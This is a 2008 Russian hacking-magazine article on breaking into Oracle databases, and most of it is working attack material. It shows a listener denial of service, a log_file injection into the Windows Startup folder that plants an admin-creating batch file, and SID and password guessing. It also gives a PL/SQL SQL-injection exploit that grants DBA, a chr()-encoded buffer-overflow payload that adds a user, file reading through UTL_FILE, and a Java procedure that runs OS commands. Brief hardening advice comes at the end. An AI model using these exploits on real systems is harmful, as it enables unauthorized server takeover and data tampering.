Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 109, ЯНВАРЬ 2008 г.

Грубые опыты над Oracle

sh2kerr (sh2kerr@gmail.com)

Хакер, номер #109, стр. 072

Взлом и защита популярной СУБД

Анализ защищенности корпоративных сетей все чаще показывает, что уровень обеспечения безопасности заметно возрос: администраторы своевременно устанавливают системные обновления, стандартные пароли на активное сетевое оборудование встречаются все реже, сети сегментируют и разграничивают доступ, парольная политика во многих системах соблюдается. Однако еще имеет место ряд проблем, которым до сих пор не уделяется должного внимания. Одна из них – это защищенность корпоративных систем управления базами данных, в частности Oracle. О безопасности использования этой СУБД мы сегодня и поговорим.

Oracle – одна из самых распространенных СУБД, используемых в корпоративных системах. Поскольку тема безопасности Oracle довольно обширна, была собрана небольшая статистика наиболее распространенных версий СУБД Oraclе в корпоративных сетях. Как оказалось, версия Oracle Database 9i до сих пор самая актуальная (68%), несмотря на то что 10g (20%) вышла уже давно, а недавно выпустили и 11-ю версию. Что касается операционных систем, то Oracle обычно устанавливается на серверы под управлением Windows (41%) и Linux (32%), реже - на HP-UX (19%) и прочих операционках. Следовательно, сосредоточим внимание на Oracle 9i, а также на версии 10G, которая уже в ближайшее время должна ее полностью заменить.

Ломаем Oracle снаружи

Удаленный доступ к базе данных предоставляет сервис Oracle TNS Listener (по умолчанию порт 1521). Листенер принимает клиентские запросы на соединение и направляет их для обработки в соответствующий серверный процесс. Обычно Листенер рассматривается как первый этап на пути вторжения в базы данных. Плохо сконфигурированный незащищенный Листенер подвержен различным атакам, включая удаленное выполнение команд и отказ в обслуживании. В версии Oracle ниже 10g по умолчанию возможно осуществление анонимного подключения и, как следствие, удаленное управление сервисом.

В дефолной конфигурации злоумышленник может

  1. получить детальную информацию об атакуемой системе, как то:
    • имена баз данных (SIDs),
    • версия СУБД,
    • пути к log-файлам,
    • операционная система, на которой установлена СУБД;
  2. произвести DoS-атаку;
  3. выполнять SQL-команды от имени DBA;
  4. получить удаленный доступ к системе.

Для подключения к Листенеру применяется стандартная утилита lsnrctl, входящая в набор тулз, устанавливаемых с клиентом для СУБД Oracle. Для получения информации используется команда status.

DoS-атака может быть осуществлена с помощью утилиты lsnrctl. Командой stop удаленный неавторизированный пользователь может остановить TNS Listener.

C:\lsnrctl

LSNRCTL> stop

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC)))

The command completed successfully

LSNRCTL> status

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(KEY=EXTPROC)))

TNS-12541: TNS:no listener

TNS-12560: TNS:protocol adapter error

Для получения удаленного доступа к системе используется скрипт tnscmd2.pl (www.jammed.com/~jwa/hacks/security/tnscmd), позволяющий Листенеру выполнять команды и генерировать произвольные пакеты. С помощью команды set log_file удаленный неавторизированный пользователь может изменить файл для хранения логов, например, на исполняемый файл, лежащий в папке автозагрузки пользователя. Далее с помощью утилиты tnscmd2.pl мы можем послать запрос, содержащий системные команды, который в результате сохранится в log-файле. А тот, в свою очередь, запустится при входе пользователя в систему. Для примера рассмотрим получение прав на Windows-сервере.

[root@server]#./tnscmd2.pl -h 192.168.30.13 --rawcmd "(DESCRIPTION=

(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)

(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=C:\Documents and Settings\

Administrator\Start Menu\Programs\Startup\1.bat)))"

[root@server]#./tnscmd2.pl -h 192.168.30.13 --rawcmd "(DESCRIPTION=(CONNECT_DATA=((

> net user new_Admin h@ck3r /add

> net localgroup Administrators new_Admin /add

> "

В результате этих действий на сервере в папке административной автозагрузки таинственным образом появляется файл, создающий нового локального администратора с известным злоумышленнику паролем. Тем самым мы получаем административный доступ к серверу.

Для защиты TNS Listener существует несколько параметров, которые тем или иным образом повышают его безопасность.

  1. PASSWORD. Если пароль установлен, то неавторизированный злоумышленник сможет выполнять только команды status и version, что совсем небезопасно.
  2. ADMIN_RESTRICTIONS – этот параметр во включенном состоянии запрещает любые удаленные изменения конфигурационного файла.
  3. LOCAL_OS_AUTHENTICATION – этот параметр во включенном состоянии позволяет управлять Листенером только локально. Удаленно возможно только выполнение команды version, которая выдаст нам версию установленной СУБД и операционной системы.

Так как с точки зрения управления крупной системы предпочтительнее иметь возможность удаленного администрирования Листенера, многие администраторы отключают LOCAL_OS_AUTHENTICATION, но не устанавливают пароль, что делает Oracle 10G таким же уязвимым, как и 9i.

Подключение к СУБД

Для подключения к СУБД кроме имени и пароля необходимо знать имя базы данных (SID). Незащищенный Листенер по умолчанию выдает имена баз данных без аутентификации. Достаточно воспользоваться утилитой lsntctl с опцией services.

LSNRCTL> services

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC)))

Services Summary...

Service "PLSExtProc" has 1 instance(s).

Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...

Service "orcl" has 1 instance(s).

Instance "orcl", status READY, has 1 handler(s) for this service...

The command completed successfully

На случай если на Листенер установлен пароль или включена опция LOCAL_OS_AUTHENTICATION, существует множество способов получения имени базы данных.

Вот наиболее распространенные

  1. Поиск информации в сторонних приложениях.
    1. Например, СУБД Oracle 10g R2 по умолчанию устанавливает Oracle Application Server, который работает на порту 1158. Этот сервер доступен для удаленного подключения и выдает вместе с окном ввода логина и SID базы данных.
    2. При установке Oracle в связке с системой SAP/R3 узнать SID базы данных можно, подключившись к приложению SAP web-management, обычно висящему на порту 8001/TCP и отвечающему за управление системой SAP. На запрос несуществующего файла, сервер выдает страницу ошибки, на которой содержится SID базы данных.
  2. Имя базы данных является стандартным, словарным или частично/полностью совпадает с DNS/NETBIOS-именем хоста, например ORCL.
  3. Имя базы данных состоит из малого количества символов. Например, все четырехсимвольные имена перебираются в течение двух часов.
  4. Имя базы данных можно узнать по ссылке из другой базы данных, из файла tnsnames.ora на взломанном хосте, а также, например, прослушивая сетевой трафик.

Для перебора можно воспользоваться программой SIDGUESS. Как видно, способов выяснения SID’а базы данных, не имея доступа к Листенеру, достаточно. В своей практике в 90% случаев тем или иным способом SID базы данных я добывал.

Получив SID базы данных, мы можем пытаться подобрать пароли учетных записей пользователей. СУБД Oracle при установке создает множество системных учетных записей со стандартными паролями, и обычно администраторы забывают отключать или хотя бы менять пароли. К примеру, при установке СУБД Oracle 9 R2 инсталлятор просит ввести новые пароли для учетных записей SYS и SYSTEM, но пароли учетных записей DBSNMP и SCOTT остаются стандартными. Кроме приведенных выше логинов множество приложений, интегрируемых с Oracle, использует свои стандартные системные учетные записи. Список стандартных аккаунтов насчитывает порядка 600 имен и доступен в интернете. Для проверки СУБД на наличие логинов с паролями, установленными по умолчанию, а также для подбора паролей можно воспользоваться утилитой oscanner (www.cqure.net/tools/oscanner_bin_1_0_6.zip).

E:\tools\oscanner_bin>oscanner -s 192.168.30.13

Есть несколько моментов, благодаря которым перебор паролей в СУБД Oracle приносит успех:

  1. Многие системные имена пользователей известны, что позволяет подбирать только пароли.
  2. По умолчанию ограничений на длину и сложность пароля не установлено.
  3. Перебор паролей к учетным записям не блокируется.
  4. Базы данных обычно содержат много учетных записей, а нам достаточно подобрать хотя бы одну (не обязательно административную).

В моей практике в 90% случаев перебор паролей к СУБД Oracle завершался успехом и на это требовалось не более 10-15 минут.

Ломаем Oracle изнутри

В отличие от операционных систем, где процесс обновления уже не вызывает трудностей и осуществляется почти в автоматическом режиме, с СУБД Oracle дела обстоят намного хуже. Во-первых, обновления выходят очень редко; во-вторых, до сих пор их установка нетривиальна, и часто может грозить серьезными сбоями в тех случаях, когда Oracle используется в совокупности с какой-либо сторонней системой. Учитывая, что большинство уязвимостей имеет локальный характер, многие администраторы зачастую не уделяют этому должного внимания, а зря. Как мы выяснили, получение локального доступа для злоумышленника не составляет особой проблемы.

Ежеквартально компания Oracle выпускает обновления, закрывающие в среднем около 50 уязвимостей в их продуктах, но большая часть уязвимостей так и остается незакрытой. Основные атаки, совершаемые пользователем против СУБД Oracle, направлены на повышение своих привилегий. Реализовав те или иные уязвимости во встроенных функциях СУБД, злоумышленник может произвести следующие действия:

  1. Повысить привилегий до роли DBA.
  2. Произвести атаку на отказ в обслуживании или выполнить произвольный код в системе.
  3. Прочитать хэши паролей пользователей и попытаться в дальнейшем их расшифровать.
  4. Сменить пароли к учетным записям пользователей, в том числе и администраторов.

Рассмотрим перечисленные варианты более подробно.

SQL-injection

Обычно для повышения привилегий используют уязвимости класса SQL-injection во встроенных процедурах СУБД Oracle. Это самый распространенный тип уязвимостей в СУБД Oracle и в то же время самый опасный, поскольку количество уязвимостей такого типа насчитывает несколько сотен и часть из них до сих пор не устранена.

Поскольку многие из этих процедур выполняются от имени их владельца, которым является пользователь SYS, то, внедрив свой код, мы сможем выполнять произвольные действия от имени системного пользователя. Ситуация аналогична Unix-системам, в которых, найдя уязвимость в SUID-программе и реализовав ее, мы можем повысить свои привилегии в системе. Для примера запустим один из последних эксплойтов, повышающий наши привилегии до роли DBA. Он написан на PL/SQL, и для старта необходимо подключиться к СУБД пользователем SCOTT и запустить его.

CREATE OR REPLACE FUNCTION HACKIT RETURN NUMBER

AUTHID CURRENT_USER AS

PRAGMA AUTONOMOUS_TRANSACTION;

BEGIN

EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';

COMMIT;

RETURN(0);

END;

/

exec SYS.LT.FINDRICSET('.''||SCOTT.HACKIT()||'''')--','x');

Сначала создается процедура, которая будет работать от имени того, кто ее запустил (в нашем случае это пользователь SYS). Далее выполняется уязвимая функция, в которую вставлен вызов нашей процедуры. В ходе выполнения функции от имени SYS сработает наша процедура, и пользователь SCOTT получит роль DBA.

Атаки на переполнение буфера

Здесь в принципе все ясно: обычные переполнения встроенных функций с возможностью выполнения DoS-атаки или в некоторых случаях произвольного кода. Существует множество встроенных процедур, параметры которых уязвимы для атаки на переполнение буфера. В качестве примера рассмотрим эксплойт, вызывающий переполнение буфера в функции XDB.DBMS_XMLSCHEMA.GENERATESCHEMA, работающий для версии СУБД Oracle 10 R1 под управлением Windows. Он добавляет в систему пользователя hack. Таким же образом можно создавать произвольные файлы в системе.

SELECT XDB.DBMS_XMLSCHEMA.GENERATESCHEMA ('a',

‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

ABBBBBBBBBBCCCCCCCCCCABCDE'|| chr(212)||chr(100)||chr(201)||chr(01)||chr(141)||chr(68)||

chr(36)||chr(18)||chr(80)||chr(255)||chr(21)||chr(192)||chr(146)||chr(49)||chr(02)||

chr(255)||chr(21)||chr(156)||chr(217)||chr(49)||chr(2)||chr(32)||'net user hack h@ck /add’) FROM DUAL;

Dll patching

Подобная уязвимость была устранена в январе 2006 года, но тем не менее встречается очень часто. Уязвимость существует в процессе обработки подключения клиента к СУБД. После успешного подключения клиентская программа посылает команду ALTER SESSION SET, выполняемую от имени пользователя SYS. Следовательно, нам достаточно изменить в коде клиента команду ALTER SESSION, например, на GRANT DBA (путем модификации dll-библиотеки, которая отвечает за подключение). В результате при подключении непривилегированным пользователем мы автоматически получаем роль DBA.

Evil Views

Еще одна атака заключается в создании представлений (VIEW), с помощью которых возможно изменение/добавление/удаление данных при отсутствии привилегий на эти действия. Для примера рассмотрим вариант, когда у нас имеется таблица TEST с правами на изменение данных.

SQL> select * from TEST;

ID NAMENUMBER

-- ------------ -----------

1USER11000

SQL> update TEST set NUMBER=0;

ERROR at line 1:

ORA-01031: insufficient privileges;

Теперь создадим представление (VIEW), содержащее данные из нашей таблицы, и изменим в нем данные. Как мы видим, в результате в исходной таблице данные также изменились.

SQL> create view EVILVIEW as select a.* from (select * from TEST) a inner join

(select *from TEST) b on (a.id=b.id)

SQL> update EVILVIEW set TEST=666;

1 row updated.

SQL> select * from TEST;

IDNAMENUMBER

-------------------------

1USER1666

Аналогичные действия можно совершить с системными таблицами типа SYS.USER$.

Получение доступа к операционной системе

Итак, мы выяснили, как получить административный доступ к СУБД Oracle, но это не предел. С правами администратора злоумышленник (при наличии определенных настроек в конфигурации СУБД) может получить доступ к самой операционной системе при помощи встроенных функций. А написав собственные PL/SQL-процедуры - совершать различные действия в системе с правами пользователя, от имени которого запущена СУБД (в Windows Oracle по умолчанию запускается с правами администратора).

Чтение/запись файлов через процедуры UTL_FILE

Этот способ является самым распространенным и к тому же в некоторых случаях требует минимальных привилегий. По умолчанию у пакета UTL_FILE имеется доступ ко всем файлам, так как у него не установлена рабочая директория. Но бывает, что СУБД сконфигурирована таким образом, что значение UTL_FILE установлено в «*». Это означает, что любой пользователь может получить доступ на чтение и запись к произвольным файлам на сервере. В случае если значение UTL_FILE не установлено, для доступа к файловой системе необходимо совершить ряд действий, для которых требуются права CREATE DIRECTORY. Они обычно есть у пользователя DBA. Сначала создается директория, которая указывает на реальную директорию на сервере при помощи команды CREATE OR REPLACE DIRECTORY. А потом запускается одна из процедур из пакета UTL_FILE, например UTL_FILE.fopen.

create or replace directory public_access as 'C:/';

SET SERVEROUTPUT ON

declare

f utl_file.file_type;

sBuffer Varchar(8000);

begin

f:=UTL_FILE.FOPEN ('PUBLIC_ACCESS','boot.ini','r');

loop

UTL_FILE.GET_LINE (f,sBuffer);

DBMS_OUTPUT.PUT_LINE(sBuffer);

end loop;

EXCEPTION

when no_data_found then

UTL_FILE.FCLOSE(f);

end;

/

Получение шелла через Java-процедуры

В Oracle мы можем писать встроенные процедуры на Java. Реально сделать функцию, осуществляющую доступ к файловой системе и командной строке, а затем выполнять произвольные системные команды. Для запуска процедуры необходимо иметь привилегии DBA или права на выполнение процедур из пакета SYS:java. Существует множество вариантов реализации этой программы, но все они в конечном счете используют Java-метод Runtime.getRuntime().exec(). Код процедуры полностью выложен на DVD. Здесь публикуется лишь основной фрагмент:

create or replace and resolve java source named "oraexec" as

import java.lang.*;

import java.io.*;

public class oraexec

{

/*

* Command execution module

*/

public static void execCommand(String command) throws IOException

{

Runtime.getRuntime().exec(command);

}

Для выполнения команд пишется небольшой PL/SQL-код. В данном случае вызывается команда set, но мы можем поменять ее, скажем, на net user evil /add, тем самым получив пользователя evil на сервере.

SET SERVEROUTPUT ON SIZE 1000000

CALL DBMS_JAVA.SET_OUTPUT(1000000);

BEGIN

oraexec.execCommand('set');

END;

/

Единственным минусом этого способа является тот факт, что поддержка Java может быть отключена или вообще не установлена. Но, по статистике, примерно в 60% случаев прием работает.

Другие способы получения доступа к OC

Существует еще несколько способов получения доступа к файловой системе на случай, когда поддержка Java-процедур не установлена, а доступ к UTL_FILE в целях безопасности тем или иным образом закрыт. Они все принципиально похожи на UTL_FILE и требуют сперва создать директорию при помощи команды CREATE OR REPLACE DIRECTORY.

  1. DBMS_LOB. Существует пакет DBMS_LOB, который функционально похож на UTL_FILE, но менее распространен. Для получения доступа к файловой системе необходимо вызвать процедуру DBMS_LOB.OPEN с соответствующими параметрами.
  2. DBMS_ADVISOR. В СУБД Oracle 10g есть пакет DBMS_ADVISOR, с помощью которого также можно получить доступ к файловой системе посредством процедуры dbms_advisor.create_file с соответствующими параметрами.
  3. Также существует множество похожих функций. В одних случаях злоумышленник получит доступ на чтение/запись файлов, в других – полноценный доступ к командной строке с правами пользователя, от которого запущен Oracle, с дальнейшей возможностью повышения привилегий.

Защищаем Oracle

Учитывая все вышесказанное, можно подвести вполне ожидаемый итог: базы данных представляют реальную угрозу безопасности компании.

В заключение хотелось бы привести некоторые основные рекомендации по повышению уровня защищенности Oracle:

  1. Установи пароль на доступ к сервису TNS Listener.
  2. Включи протоколирование подключения к Листенеру для обнаружения попыток перебора паролей.
  3. Не используй словарные, легко угадываемые SID-имена.
  4. Ограничь доступ к системам, через которые можно узнать SID.
  5. Проведи аудит используемых учетных записей: удали или отключи неиспользуемые и смени стандартные пароли системных учетных записей.
  6. Внедри корпоративную парольную политику в СУБД.
  7. Установи последние критические обновления или хотя бы ограничь доступ пользователям на запуск потенциально опасных процедур.
  8. Проанализируй привилегии и роли пользователей, руководствуясь принципом наименьших привилегий.
  9. Если возможно, отключи возможности доступа пользователей Oracle к файловой системе.

Эти действия помогут наиболее полно защитить СУБД без использования дополнительных программно-аппаратных средств, позволяющих избежать неожиданных хакерских нападений.

WWW

INFO

По умолчанию СУБД Oracle в Windows запускается с правами администратора.

DVD

На нашем диске ищи подборку софта, описанную в статье, а также документацию по защите Oracle.

Warning

Внимание! Взлом чужих баз карается статьей 272 УК РФ! Не вздумай нарушать закон. И помни, что ни редакция, ни автор за твои действия ответственности не несут.

VIDEO

На диске ты найдешь видео, где наглядно показан процесс взлома и защиты Oracle.

Содержание
загрузка...
Журнал Хакер #151Журнал Хакер #150Журнал Хакер #149Журнал Хакер #148Журнал Хакер #147Журнал Хакер #146Журнал Хакер #145Журнал Хакер #144Журнал Хакер #143Журнал Хакер #142Журнал Хакер #141Журнал Хакер #140Журнал Хакер #139Журнал Хакер #138Журнал Хакер #137Журнал Хакер #136Журнал Хакер #135Журнал Хакер #134Журнал Хакер #133Журнал Хакер #132Журнал Хакер #131Журнал Хакер #130Журнал Хакер #129Журнал Хакер #128Журнал Хакер #127Журнал Хакер #126Журнал Хакер #125Журнал Хакер #124Журнал Хакер #123Журнал Хакер #122Журнал Хакер #121Журнал Хакер #120Журнал Хакер #119Журнал Хакер #118Журнал Хакер #117Журнал Хакер #116Журнал Хакер #115Журнал Хакер #114Журнал Хакер #113Журнал Хакер #112Журнал Хакер #111Журнал Хакер #110Журнал Хакер #109Журнал Хакер #108Журнал Хакер #107Журнал Хакер #106Журнал Хакер #105Журнал Хакер #104Журнал Хакер #103Журнал Хакер #102Журнал Хакер #101Журнал Хакер #100Журнал Хакер #099Журнал Хакер #098Журнал Хакер #097Журнал Хакер #096Журнал Хакер #095Журнал Хакер #094Журнал Хакер #093Журнал Хакер #092Журнал Хакер #091Журнал Хакер #090Журнал Хакер #089Журнал Хакер #088Журнал Хакер #087Журнал Хакер #086Журнал Хакер #085Журнал Хакер #084Журнал Хакер #083Журнал Хакер #082Журнал Хакер #081Журнал Хакер #080Журнал Хакер #079Журнал Хакер #078Журнал Хакер #077Журнал Хакер #076Журнал Хакер #075Журнал Хакер #074Журнал Хакер #073Журнал Хакер #072Журнал Хакер #071Журнал Хакер #070Журнал Хакер #069Журнал Хакер #068Журнал Хакер #067Журнал Хакер #066Журнал Хакер #065Журнал Хакер #064Журнал Хакер #063Журнал Хакер #062Журнал Хакер #061Журнал Хакер #060Журнал Хакер #059Журнал Хакер #058Журнал Хакер #057Журнал Хакер #056Журнал Хакер #055Журнал Хакер #054Журнал Хакер #053Журнал Хакер #052Журнал Хакер #051Журнал Хакер #050Журнал Хакер #049Журнал Хакер #048Журнал Хакер #047Журнал Хакер #046Журнал Хакер #045Журнал Хакер #044Журнал Хакер #043Журнал Хакер #042Журнал Хакер #041Журнал Хакер #040Журнал Хакер #039Журнал Хакер #038Журнал Хакер #037Журнал Хакер #036Журнал Хакер #035Журнал Хакер #034Журнал Хакер #033Журнал Хакер #032Журнал Хакер #031Журнал Хакер #030Журнал Хакер #029Журнал Хакер #028Журнал Хакер #027Журнал Хакер #026Журнал Хакер #025Журнал Хакер #024Журнал Хакер #023Журнал Хакер #022Журнал Хакер #021Журнал Хакер #020Журнал Хакер #019Журнал Хакер #018Журнал Хакер #017Журнал Хакер #016Журнал Хакер #015Журнал Хакер #014Журнал Хакер #013Журнал Хакер #012Журнал Хакер #011Журнал Хакер #010Журнал Хакер #009Журнал Хакер #008Журнал Хакер #007Журнал Хакер #006Журнал Хакер #005Журнал Хакер #004Журнал Хакер #003Журнал Хакер #002Журнал Хакер #001